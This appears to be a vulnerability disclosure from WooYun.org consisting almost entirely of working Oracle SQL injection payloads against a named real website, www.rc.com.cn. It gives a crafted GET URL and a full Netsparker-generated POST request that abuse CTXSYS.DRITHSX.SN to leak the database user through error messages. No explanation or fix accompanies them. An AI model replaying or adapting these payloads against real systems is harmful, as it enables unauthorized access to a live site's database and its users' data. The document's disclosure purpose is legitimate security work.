WooYun.org

http://www.rc.com.cn/news/business.asp?id=%28length%28CTXSYS.DRITHSX.SN%28user%2c%28select+chr%2895%29||chr%2833%29||chr%2864%29||chr%2851%29||chr%28100%29||chr%28105%29||chr%28108%29||chr%28101%29||chr%28109%29||chr%28109%29||chr%2897%29+from+DUAL%29%29%29%29

POST /company/search.asp HTTP/1.1
Cache-Control: no-cache
Referer: http://www.rc.com.cn/company/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36 Netsparker
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Host: www.rc.com.cn
Cookie: ASPSESSIONIDCATSBDRC=LHEIPPACHDMHEJBGFIHFLMLG
Accept-Encoding: gzip, deflate
Content-Length: 391
Content-Type: application/x-www-form-urlencoded
gjz=3&Submit=%ef%bf%bd%e1%bd%bb&Submit2=%ef%bf%bd%ef%bf%bd%ef%bf%bd%ef%bf%bd&hyyq=3&sposition=3&cxxl=%ef%bf%bd%ef%bf%bd%ef%bf%bd%ef%bf%bd&cxzc=%ef%bf%bd%ef%bf%bd%ef%bf%bd%ef%bf%bd&cxxb=%27%7c%7cCTXSYS.DRITHSX.SN(user%2c(select+chr(95)%7c%7cchr(33)%7c%7cchr(64)%7c%7cchr(51)%7c%7cchr(100)%7c%7cchr(105)%7c%7cchr(108)%7c%7cchr(101)%7c%7cchr(109)%7c%7cchr(109)%7c%7cchr(97)+from+DUAL))%7c%7c%27